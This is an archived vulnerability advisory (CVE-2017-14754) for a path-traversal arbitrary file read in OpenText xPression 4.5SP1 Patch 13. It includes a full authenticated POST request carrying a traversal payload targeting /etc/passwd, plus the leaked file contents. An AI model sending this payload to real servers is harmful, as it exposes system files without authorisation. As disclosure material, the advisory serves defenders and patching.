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OpenText Document Sciences xPression 4.5SP1 Patch 13 Arbitrary File Read

OpenText Document Sciences xPression 4.5SP1 Patch 13 Arbitrary File Read
Posted Sep 29, 2017
Authored by Mariusz Woloszyn

OpenText Document Sciences xPression version 4.5SP1 Patch 13 suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary
advisories | CVE-2017-14754
SHA-256 | 81085a870f935b25853be4a14962995c5ed2c54f8ad9e7006dad0bd9a8bd405a

OpenText Document Sciences xPression 4.5SP1 Patch 13 Arbitrary File Read

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Title: OpenText Document Sciences xPression (formerly EMC Document
Sciences xPression) - Arbitrary File Read
Author: Marcin Woloszyn
Date: 27. September 2017
CVE: CVE-2017-14754

Affected Software:
==================
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)

Exploit was tested on:
======================
v4.5SP1 Patch 13 (older versions might be affected as well)

Arbitrary File Read:
====================

Authenticated user is able to read arbitrary system file due to path
traversal issue.

Vector :
--------

1) visit https://[...]/xAdmin/html/cm_datasource_summary.jsp and
select data source

2) modify and save datasource. xsd_datasource_schema_file parameter
filename is vulnerable:

POST /xAdmin/html/cm_datasource_group_xsd.jsp?action=get_schema_m HTTP/1.1
Host: [...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[...]/xAdmin/html/cm_datasource_group_dispatcher.jsp?action=modify&refresh=yes&group_name=%43%75%73%74%6f%6d%65%72%58%58%45%74%65%73%74%27
Cookie: JSESSIONID=[...]; hideHeaderAndFooter=false
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------11140219741229998994791588049
Content-Length: 1472

-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="xsd_datasource_group_id"

301
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="group_name"

aaa
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="group_name_old"

aaa
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="xsd_datasource_schema_source"

fromServer
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="xsd_datasource_schema_location"

aaa.xml
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="xsd_datasource_schema_file";
filename="../../../../../../../../../../../../../../../../etc/passwd"
Content-Type: application/octet-stream


-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="delimiter_xpath"

e
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="customer_key_xpath"

e
-----------------------------11140219741229998994791588049
Content-Disposition: form-data; name="xsd_datasource_schema"

<?xml version="1.0" ?>
<aaa></aaa>

-----------------------------11140219741229998994791588049--

In response, file contents are returned:

HTTP/1.1 200 OK
[...]

<TEXTAREA name="xsd_datasource_schema" cols="10" rows="20"
class="largeoption"
readonly="readonly">root:x:0:0:[...]:/root:/bin/bash
bin:x:1:1:[...]:/bin:/sbin/nologin
daemon:x:2:2:[...]:/sbin:/sbin/nologin
adm:x:3:4:[...]:/var/adm:/sbin/nologin
sync:x:5:0:[...]:/sbin:/bin/sync
shutdown:x:6:0:[...]:/sbin:/sbin/shutdown
[...]

Fix:
====
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774

Contact:
========
mw[at]nme[dot]pl


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